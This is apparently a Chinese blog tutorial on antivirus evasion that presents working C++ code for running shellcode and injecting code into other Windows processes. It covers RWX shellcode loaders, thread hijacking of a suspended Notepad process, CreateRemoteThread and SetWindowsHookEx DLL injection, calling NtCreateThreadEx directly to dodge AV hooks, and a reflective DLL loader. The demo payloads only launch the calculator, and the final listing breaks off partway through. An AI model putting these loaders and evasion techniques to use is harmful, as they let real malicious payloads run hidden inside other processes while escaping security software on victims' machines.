免杀的最终目的:使用各种办法,让自己的恶意shellcode运行

CreateThread

在当前进程中创建新线程,执行shellcode,无法隐藏自己的进程

步骤:

  1. 申请一段内存空间
  2. 复制shellcode到申请的内存空间
  3. 改变这段内存空间的属性为可执行
  4. 创建线程,线程执行的起始地址为shellcode的起始地址
  5. 运行该线程
#include <iostream>
#include <Windows.h>

// 弹出计算器shellcode
unsigned char data[] = {
  0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
  0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
  0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
  0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
  0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
  0x01, 0xf7, 0x99, 0xff, 0xd7
};

int main()
{
	// 申请一段RWX的内存段
	LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将shellcode移动到申请的内存
	RtlMoveMemory(lpvAddr, data, sizeof(data));

	if (lpvAddr != NULL) {
		// 创建线程并运行线程
		HANDLE s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpvAddr, data, 0, 0);
		// 等待线程执行完毕,否则主进程会退出
		WaitForSingleObject(s, INFINITE);
	}
}

ThreadHijacking

注入自己的进程

线程劫持,总体的思路是新创建一个进程(正常应用程序),在新进程中创建远程线程,规避对进程表的查询

步骤:

  1. 创建STARTUPINFO和PROCESS_INFORMATION结构体
  2. 初始化STARTUPINFO结构体
  3. 创建新进程(必须指定CREATE_SUSPENDED【挂起主线程】和EXTENDED_STARTUPINFO_PRESENT【可以指定拓展的STARTUP结构体】
  4. 从PROCESS_INFORMATION获取新进程的HANDLE
  5. 在新进程中创建一块RWX的内存区域
  6. 向内存区域中写入shellcode
  7. 创建远程线程,并将线程起始地址指向shellcode的地址
#include <iostream>
#include <Windows.h>

// 弹出计算器shellcode
unsigned char data[] = {
  0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
  0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
  0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
  0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
  0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
  0x01, 0xf7, 0x99, 0xff, 0xd7
};

int main()
{
	SIZE_T size = 0;
	
	// 创建STARTUPINFOEXA结构体,在创建进程的时候会根据这个结构体进行创建
	STARTUPINFOEXA si;
	// 创建PROCESS_INFORMATION结构体,创建进程结束后,CreateProcess会将新进程的信息放到这个结构体中
	PROCESS_INFORMATION pi;

	// 初始化STARTUPINFOEXA
	ZeroMemory(&si, sizeof(si));
	si.StartupInfo.cb = sizeof(STARTUPINFOA); // cb代表结构体的大小,用sizeof计算整个结构体的大小
	si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;


	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); // 初始化线程的属性,这里初始化了一条线程的属性

	BOOL success = CreateProcessA(
		NULL,
		(LPSTR)"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_11.2209.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe",
		NULL,
		NULL,
		true,
		CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, // 创建后暂停主线程,并且使用拓展的STARTUPINFO进行创建
		NULL,
		NULL,
		reinterpret_cast<LPSTARTUPINFOA>(&si),
		&pi
	); // 创建进程

	HANDLE calcHandle = pi.hProcess; // 获取新进程的Handler
	LPVOID remoteBuffer = VirtualAllocEx(calcHandle, NULL, sizeof(data), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 在新进程分配一段内存空间
	if (remoteBuffer == NULL) {
		DWORD errCode = GetLastError();
		std::cout << errCode;
		return 1;
	}
	
	WriteProcessMemory(calcHandle, remoteBuffer, data, sizeof(data), NULL); // 将shellcode写入到新进程中
	HANDLE remoteThread = CreateRemoteThread(calcHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); // 创建一个远程线程在新进程中执行shellcode

	if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
		return 1;
	}

	if (ResumeThread(pi.hThread) == -1){
		return 1;
	}
}

向其他进程注入

上面的代码是自己创建进程之后在新进程中创建远程线程,第二种方式是通过OpenProcess获取其他进程的HANDLE,对其他进程CreateRemoteThread,这种方式需要有权限获取inject进程的HANDLE

步骤:

  1. 通过OpenProcess获取远程进程的Handle
  2. 在远程进程分配内存
  3. 将shellcode写入到内存中
  4. 创建远程线程,执行shellcode
#include <iostream>
#include <Windows.h>

// 弹出计算器shellcode
unsigned char data[] = {
  0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
  0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
  0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
  0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
  0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
  0x01, 0xf7, 0x99, 0xff, 0xd7
};

int main()
{
	DWORD procID = 12276; // 希望注入的进程ID

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID); // 获取进程对应的HANDLE
	if (hProc == NULL) {
		DWORD errCode = GetLastError();
		printf("Error open process %d: 0x%x\n", procID, errCode);
		return 1;
	}

	LPVOID buf = VirtualAllocEx(hProc, NULL, sizeof(data), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 在远程进程中分配内存
	if (buf == NULL) {
		DWORD errCode = GetLastError();
		printf("Error allocating memory in remote process:0x%x\n", errCode);
		return 1;
	}

	BOOL success = WriteProcessMemory(hProc, buf, data, sizeof(data), NULL); // 将shellcode复制到远程进程的内存空间中
	if (!success) {
		DWORD errCode = GetLastError();
		printf("Error write remote process memory: 0x%x\n", errCode);
		return 1;
	}
	
	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL); // 在远程进程中创建远程线程,执行shellcode
	if (hThread == NULL) {
		DWORD errCode = GetLastError();
		printf("Error create remote thread: 0x%x\n", errCode);
		return 1;
	}

	WaitForSingleObject(hThread, INFINITE);
}

DLL Injection

普通DLL注入

CreateRemoteThread

DLL注入可以隐藏恶意的进程

步骤:

  1. OpenProcess打开想注入的进程(需要有足够的权限)
  2. 在对应的进程中申请一块RW的内存区域
  3. 将DLL的路径写入到申请的内存区域中
  4. 寻找当前进程的kernel32.dll的句柄
  5. 获取LoadLibraryA函数的地址
  6. 在被注入的进程中创建远程线程,设置起始地址为LoadLibraryA的地址,并且参数为dll路径所在的内存地址

首先需要准备一个恶意的DLL,这里生成一个弹计算器的DLL

#include "pch.h"
#include <iostream>

int CreateCalc() {
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	STARTUPINFOA si;
	ZeroMemory(&si, sizeof(STARTUPINFOA));
	si.cb = sizeof(STARTUPINFOA);

	BOOL success = CreateProcessA(
		NULL,
		(LPSTR)"C:\\Windows\\System32\\calc.exe",
		NULL,
		NULL,
		false,
		NULL,
		NULL,
		NULL,
		&si,
		&pi
	);

	if (!success) {
		printf("create process fail: 0x%x", GetLastError());
		return FALSE;
	}
	return TRUE;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		CreateCalc();
	case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

之后按照上面的步骤对另一个进程注入DLL:

#include <iostream>
#include <Windows.h>

int main()
{
	DWORD procID = 47512; // 要注入的进程pid
	LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll";  // DLL文件所在的路径
	DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度


	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
	if (hProc == NULL) {
		printf("open process fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
	if (buf == NULL) {
		printf("alloc memory fail: 0x%x", GetLastError());
		return 1;
	}

	BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
	if (!success) {
		printf("write dll path to process fail: 0x%x", GetLastError());
		return 1;
	}

	HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
	if (hKernel == NULL) {
		printf("load kernel32.dll fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
	if (lAddr == NULL) {
		printf("get LoadLibrary addr fail: 0x%x", GetLastError());
		return 1;
	}

	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
	if (hThread == NULL) {
		printf("create remote thread fail: 0x%x", GetLastError());
		return 1;
	}
	DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
	printf("thread exit code is 0x%x", retCode);

	return 0;
}

通过Process Explore可以看到CalcDll被加载到目标进程中:
image-1668777444828

NtCreateThreadEx

由于CreateRemoteThread函数是一个非常高危的函数,被各大AV厂商hook监控,所以使用CreateRemoteThread经常会导致被杀。而CreateRemoteThread的最后也是调用的内核函数NtCreateThreadEx,所以我们可以绕过CreateRemoteThread,直接调用NtCreateThreadEx,从而绕过对CreateRemoteThread的监控

参考如下文章:DLL injection via undocumented NtCreateThreadEx. Simple C++ example.

在win11 64位下,NtCreateThreadEx的函数签名如下:

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);

由于该函数不是一个导出函数,所以我们需要从ntdll中动态拿到该函数的地址,所以使用GetModuleHandler和GetProcAddress拿到NtCreateThreadEx转换位函数指针进行调用

#include <iostream>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);


int main()
{
	DWORD procID = 37252; // 要注入的进程pid
	LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll";  // DLL文件所在的路径
	DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度


	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
	if (hProc == NULL) {
		printf("open process fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
	if (buf == NULL) {
		printf("alloc memory fail: 0x%x", GetLastError());
		return 1;
	}

	BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
	if (!success) {
		printf("write dll path to process fail: 0x%x", GetLastError());
		return 1;
	}

	HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
	if (hKernel == NULL) {
		printf("load kernel32.dll fail: 0x%x", GetLastError());
		return 1;
	}

	LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
	if (lAddr == NULL) {
		printf("get LoadLibrary addr fail: 0x%x", GetLastError());
		return 1;
	}

	pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

	HANDLE hThread;
	ntCTEx(&hThread, 0x1FFFFF, NULL, hProc, (LPTHREAD_START_ROUTINE)lAddr, buf, FALSE, NULL, NULL, NULL, NULL);
	
	

	//HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
	if (hThread == NULL) {
		printf("create remote thread fail: 0x%x", GetLastError());
		return 1;
	}
	DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
	printf("thread exit code is 0x%x", retCode);

	return 0;
}

SetWindowsHookEx

除了常规的创建远程线程的方式注入DLL外,还可以通过Windows本身的消息机制来注册DLL
Windows允许对一些Windows的消息和通知注册不同的处理函数,而这些处理函数必须存在DLL中,所以我们使用Windows的消息Hook来加载想要的DLL

首先需要定义一个DLL,SetWindowsHookEx的DLL内的函数必须是导出的,否则无法成功Hook,这里踩了坑

定义DLL:

#include "pch.h"
#include <iostream>

extern "C" __declspec(dllexport) int CreateCalc() {
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	STARTUPINFOA si;
	ZeroMemory(&si, sizeof(STARTUPINFOA));
	si.cb = sizeof(STARTUPINFOA);

	BOOL success = CreateProcessA(
		NULL,
		(LPSTR)"C:\\Windows\\System32\\calc.exe",
		NULL,
		NULL,
		false,
		NULL,
		NULL,
		NULL,
		&si,
		&pi
	);

	if (!success) {
		printf("create process fail: 0x%x", GetLastError());
		return FALSE;
	}
	return TRUE;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Windows支持很多类型的消息类型,而这种方式注入的DLL必须要等待相应的事件触发,支持Hook的事件记录在MSDN的文档中:https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

注入的主函数非常简答,只需要调用SetWindowsHookEx即可:

#include <iostream>
#include <Windows.h>



int main()
{
	HINSTANCE hDLL = LoadLibrary(TEXT("D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll"));
	LPVOID evilProc = GetProcAddress(hDLL, "CreateCalc");
	HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)evilProc, hDLL, 0);
	if (hHook == NULL) {
		printf("set windows hook fail: 0x%.8x", GetLastError());
		return 1;
	}
	Sleep(30 * 1000);
	UnhookWindowsHookEx(hHook);
}

这里Hook了WH_KEYBOARD,当键盘按键被按下的时候会触发该事件,当设置Hook之后按下按键即可弹出计算器
image-1669116085564

反射DLL注入(32位)

一般的DLL注入的方式较为固定,所以一直都被各大AV严密监控,而且平常的DLL注入需要DLL在文件系统中,更是加大了免杀的难度,反射DLL注入通过模拟windows的PE加载器的功能,将DLL直接注入到目标的内存空间内,逃避杀软的检测

主要参考大牛的文章实现:[原创]恶意代码分析之反射型DLL注入

步骤:

  1. 读取恶意的DLL文件到内存中
  2. 解析DLL的PE头,分配一块足够大小的内存区域来存储加载后的DLL
  3. 根据RVA的关系,将整个PE文件展开到内存中
  4. 找到DLL文件的重定位表,模拟加载器对绝对地址进行重定位
  5. 找到IAT表,将DLL所依赖的其他DLL加载进内存,并将函数的实际地址写入到IAT中
  6. 根据PE头的AddressOfEntryPoint执行DLL的main方法

读取DLL进入内存

这一步骤可以非常灵活,这一步可以远程获取加密的DLL内容并解密,将其读取到内存中,这里使用本地文件:

LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\Debug\\CalcDll.dll";

	// 获取当前exe的加载地址
	PVOID imageBase = GetModuleHandle(NULL);
	if (imageBase == NULL) {
		printf("get image base fail: 0x%x", GetLastError());
		return 1;
	}

	// 读取要注入的DLL的内容
	HANDLE dll = CreateFileA(dllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	if (dll == NULL) {
		printf("read dll fail: 0x%x", GetLastError());
		return 1;
	}
	DWORD dllSize = GetFileSize(dll, NULL);
	LPVOID heapBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
	DWORD outSize = 0;
	ReadFile(dll, heapBuf, dllSize, &outSize, NULL);
	if (dllSize != outSize) {
		printf("read file fail: size: %d, read: %d: 0x%x", dllSize, outSize, GetLastError());
		return 1;
	}

分配展开后PE文件的内存

PE文件的文件大小和内存中的映像大小是不一致的,内存中的映像大小保存在NT头的SizeOfImage中,可以通过如下代码获取到映像的大小并在内存中开辟内存区域

步骤:

  1. 获取DOS头
  2. 根据DOS头获取NT头
  3. 通过NT头的OptionalHeader.SizeImage获取映像大小
  4. 拷贝整个DLL进入内存
	// 解析PE文件
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)heapBuf; // 获取DOS的header
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)heapBuf + dosHeader->e_lfanew); // 获取NT的header
	DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; // 获取镜像的大小
	
	// 装载DLL到内存中
	LPVOID dllBase = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配一块足够加载DLL的内存区域
	
	DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeader->OptionalHeader.ImageBase; // 获取默认加载地址和实际加载地址之间的差值
	
	std::memcpy(dllBase, heapBuf, dllSize); // 将dll整个拷贝到目标地址中

展开PE文件

通过解析PE文件的段表,我们可以在内存中对段进行内存的分配,通过每个段的RVA,我们可以获取到段被加载到内存的地址,通过每个段的PointerToRawData我们可以获取到段在文件中的偏移,基于此,我们可以将PE中的每个段在内存中展开
image-1669025418156

	// 展开整个PE文件
	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader); // 获取第一个节区的地址
	for (size_t i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
		// 内存中节区的偏移
		LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); // 获取实际加载的节区地址
		// 文件中节区的偏移
		LPVOID sectionBytes = (LPVOID)((DWORD_PTR)heapBuf + (DWORD_PTR)section->PointerToRawData); // 获取文件中的节区地址
		
		std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); // 将文件中的节区内容复制到内存中
		section++; // 切换下一个节区
	}

重定位

由于ASLR和加载地址被其他DLL所占据,DLL的重定位是加载中最复杂且最容易出错的地方。
这篇文章讲的很详细:PE文件格式详细解析(六)-- 基址重定位表(Base Relocation Table)
总体的步骤如下(注意全部都是RVA):

  1. 通过PE的NT头拿到重定位表的地址
    image-1669024532901
  2. 通过重定位表的RVA找到对应的重定位表
    image-1669024666126
    重定位表由多个Block组成,每个Block管理一个内存页的重定位项,通过每个Block的Size,可以遍历所有重定位项的Block,每个重定位项由Offset和Type组成
    image-1669024865010
  3. 计算需要重定位的硬编码地址
    通过如下的计算:重定位地址 = DLL加载基地址 + (当前Block的RVA + 重定位表项的Offset),可以得到内存中需要进行重定位的地址
  4. 计算实际的地址
    通过如下的计算:实际地址 = 内存中硬编码的地址 - 原始DLL加载的地址 + DLL实际加载的地址,将硬编码密钥替换

通过上述的流程将所有的重定位项进行重定位后,重定位的步骤就算完成了

	// 开始地址重定位
	IMAGE_DATA_DIRECTORY relocations = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	PIMAGE_BASE_RELOCATION relocationBlock = (PIMAGE_BASE_RELOCATION)(relocations.VirtualAddress + (DWORD)dllBase);
	while (relocationBlock->SizeOfBlock != NULL)
	{
		// 一个Block的总大小除以每个重定位项的大小为所有的重定位项的数量
		DWORD relocationsCount = (relocationBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
		// 找到重定位项的入口
		PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD_PTR)relocationBlock + sizeof(IMAGE_BASE_RELOCATION));

		for (DWORD i = 0; i < relocationsCount; i++) {
			if (relocationEntries[i].Type == 0) {
				continue;
			}

			DWORD_PTR relocationRVA = relocationBlock->VirtualAddress + relocationEntries[i].Offset;
			DWORD_PTR addressToPatch = 0;

			LPVOID addressToReloc = (LPVOID)((DWORD_PTR)dllBase + relocationRVA);
			
			// 读取未重定位以前的绝对地址`
			ReadProcessMemory(GetCurrentProcess(), addressToReloc, &addressToPatch, sizeof(DWORD_PTR), NULL);
			// 重定位以后的地址
			addressToPatch += deltaImageBase;

			std::memcpy(addressToReloc, &addressToPatch, sizeof(DWORD_PTR));
		}
		
		relocationBlock = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationBlock + relocationBlock->SizeOfBlock);
	}

修复导入表

现在我们的DLL的绝对路径的地址已经修正了,但是还有些地址是通过隐式加载的方式调用的,比如系统DLL的很多库函数等,这些函数的地址存放在IAT表中,我们同样需要修复DLL的导入表,以便DLL可以正确调用这些函数

image-1669025394729

步骤:

  1. 通过NT头拿到导入表的地址
  2. 遍历导入表,在导入表中存在Name字段代表了要导入的DLL名称,通过LoadLibrary导入需要的DLL
  3. 获得FirstThunk也就是IAT表的地址,这个表代表了要导入该模块的所有的函数,遍历IAT表,拿到函数的Ordinal或者名称,调用GetProcAddress获取函数的地址
  4. 将获取的函数地址填入到IAT表项的Function字段中,即可完成导入表的修复
	// 修复导入表
	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
	LPCSTR libraryName = "";
	HMODULE library = NULL;

	while (importDescriptor->Name != NULL) {
		// 获取DLL的名称
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
		library = LoadLibraryA(libraryName);
		if (library) {
			// 获取IAT的地址
			PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((DWORD)dllBase + importDescriptor->FirstThunk);
			// 便利INT的项
			while (thunk->u1.AddressOfData != NULL) {
				if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
					LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
					thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
				}
				else {
					PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
					DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
					thunk->u1.Function = functionAddress;
				}
				++thunk;
			}
		}
		importDescriptor++;
	}

执行DLL的入口方法

DLL在经过重定位和导入表修复之后就可以运行了,通过NT头拿到程序的入口RVA:AddressOfEntryPoint,所以DLL的入口地址为:入口地址 = DLL加载地址 + DLL入口地址

	DLLEntry dllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeader->OptionalHeader.AddressOfEntryPoint);
	(*dllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
	CloseHandle(dll);
	HeapFree(GetProcessHeap(), 0, heapBuf);
	return 0;

最终通过一个函数指针调用,成功执行DLL
image-1669025806744

踩的一些坑

  1. 对指针的运算不熟悉,导致很多时候将结构体指针当作DWORD指针进行操作,导致计算出的指针地址存在很多错误,调试了很久
  2. 反射DLL注入对位数要求十分严格,指针的大小,DLL的位数,EXE的位数必须完全一致才可以,这里仅仅是32位的DLL进行的尝试

最终的代码

// ReflectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
	LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\Debug\\CalcDll.dll";

	// 获取当前exe的加载地址
	PVOID imageBase = GetModuleHandle(NULL);
	if (imageBase == NULL) {
		printf("get image base fail: 0x%x", GetLastError());
		return 1;
	}

	// 读取要注入的DLL的内容
	HANDLE dll = CreateFileA(dllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	if (dll == NULL) {
		printf("read dll fail: 0x%x", GetLastError());
		return 1;
	}
	DWORD dllSize = GetFileSize(dll, NULL);
	LPVOID heapBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
	DWORD outSize = 0;
	ReadFile(dll, heapBuf, dllSize, &outSize, NULL);
	if (dllSize != outSize) {
		printf("read file fail: size: %d, read: %d: 0x%x", dllSize, outSize, GetLastError());
		return 1;
	}

	// 解析PE文件
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)heapBuf; // 获取DOS的header
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)heapBuf + dosHeader->e_lfanew); // 获取NT的header
	DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; // 获取镜像的大小
	
	// 装载DLL到内存中
	LPVOID dllBase = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配一块足够加载DLL的内存区域
	
	DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeader->OptionalHeader.ImageBase; // 获取默认加载地址和实际加载地址之间的差值
	
	std::memcpy(dllBase, heapBuf, dllSize); // 将dll整个拷贝到目标地址中

	// 展开整个PE文件
	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader); // 获取第一个节区的地址
	for (size_t i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
		// 内存中节区的偏移
		LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); // 获取实际加载的节区地址
		// 文件中节区的偏移
		LPVOID sectionBytes = (LPVOID)((DWORD_PTR)heapBuf + (DWORD_PTR)section->PointerToRawData); // 获取文件中的节区地址
		
		std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); // 将文件中的节区内容复制到内存中
		section++; // 切换下一个节区
	}

	// 开始地址重定位
	IMAGE_DATA_DIRECTORY relocations = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	PIMAGE_BASE_RELOCATION relocationBlock = (PIMAGE_BASE_RELOCATION)(relocations.VirtualAddress + (DWORD)dllBase);
